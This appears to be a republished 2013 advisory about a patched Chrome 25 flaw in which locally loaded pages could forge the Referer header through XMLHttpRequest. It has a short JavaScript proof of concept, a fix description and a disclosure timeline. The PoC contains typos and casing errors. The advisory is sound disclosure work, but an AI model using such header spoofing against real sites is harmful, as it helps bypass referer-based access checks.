Bug: Google Chrome 25.0.1364 XMLHttpRequest HTTP Referer Header Bypass ( Ascii Version )

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Google Chrome 25.0.1364 XMLHttpRequest HTTP Referer Header Bypass

Published / (Updated)
Credit
Risk
2013-07-08 / 2013-07-09
Liad Mizrachi
Medium
CWE
CVE
Local
Remote
N/A
N/A ( Add )
No
Yes

Advisory: XMLHttpRequest HTTP Referer Header Faking
Author: Liad Mizrachi
Vendor URL: http://www.chromium.org/
Vulnerability Status: Fixed
Application Version: Google Chrome v25.0.1364.152


==========================
Vulnerability Description
==========================

Chromium is the open source web browser project from which Google
Chrome draws its source code.

Chromium fails to validate the use of unsafe headers when the page is
load from the local drive, allowing to set and change the referer
header using "setRequestHeader" when generating a Ajax
(XMLHttpRequest) request.


==========================
PoC
==========================

function SendReq()
{
var xmlhttp = new XmlHttpRequest();
xmlHttp.onreadystatechange = readyStateChanged;
xmlHttp.open("GET", "http://AnySite.com/checkReferer.php";, true);
xmlHttp.setRequestHeader("Referer", "http://valid.referer.com";);
xmlHttp.send();
}


==========================
Solution
==========================

Block all scripts from setting unsafe headers in XMLHttpRequest.
- Fixed by vendor.



==========================
Disclosure Timeline
==========================

04-Mar-2013 - Google Security Team informed by mail.
14-Mar-2013 - Google Security Team Reply: "Since ChromeOS is an open
source project, please file the report directly in their bug tracker"
14-Mar-2013 - Security Bug Opened @ Chromium project.
30-Apr-2013 - Fixed.

References:

http://www.chromium.org/
https://codereview.chromium.org/13979011/

See this note in TXT Version

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